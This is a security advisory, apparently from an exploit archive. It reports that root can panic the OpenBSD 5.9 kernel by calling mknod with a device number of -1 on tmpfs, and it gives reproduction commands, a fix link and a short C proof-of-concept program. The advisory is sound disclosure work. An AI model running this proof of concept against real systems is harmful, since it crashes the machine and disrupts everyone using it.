Home / os / blackberry

OpenBSD 5.9 kernel panic in tmpfs when performing mknod

Posted on 30 November -0001

<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic in tmpfs when performing mknod</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/*
 * tmpfs_mknod_panic.c:
 *    Demonstrate a panic in tmpfs when performing mknod
 *
 * gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
 */

#ifdef BUG_WRITEUP //---------------------------------------------------
Root can panic kernel with mknod on a tmpfs filesystem

Impact: 
Root can panic the kernel.

Description:
When performing a mknod system call on a tmpfs filesystem,
the tmpfs_alloc_node() function asserts that the rdev parameter
is not VNOVAL (-1):

    /* Type-specific initialization. */
    switch (nnode->tn_type) {
    case VBLK:
    case VCHR:
        /* Character/block special device. */
        KASSERT(rdev != VNOVAL);
        nnode->tn_spec.tn_dev.tn_rdev = rdev;
        break;

However, the value or rdev is never validated previous to this.
Users that can perform mknod() calls on a tmpfs (i.e. root)
can trigger this condition to panic the kernel.

Reproduction:
Compile the attached test program and execute it as root with a path
to a non-existance filename on a tmpfs filesystem:

  # mount -o rw,-s16M -t tmpfs swap /mnt
  # gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
  # ./tmpfs_mknod_panic /mnt/boom

This should cause the kernel to panic in tmpfs_alloc_node().
NCC Group was able to reproduce this issue on OpenBSD 5.9 release 
running amd64.

Recommendation:
Validate the device number vap->va_rdev in tmpfs_mknod() and return
an error if it is VNOVAL (-1).

Reported: 2016-07-05
Fixed:    http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/vfs_syscalls.c.diff?r1=1.260&r2=1.261
#endif // BUG_WRITEUP ---------------------------------------------------

#include <stdio.h>
#include <sys/stat.h>

int
main(int argc, char **argv)
{
    char *fn;
    int i, x;

    for(i = 1; i < argc; i++) {
        fn = argv[i];
        x = mknod(fn, S_IFBLK | 0666, -1);
        if(x == -1) 
            perror(fn);
    }
    printf("nothing happened!
");
    return 0;
}


</BODY></HTML>

 

TOP

Malware :

Exploits :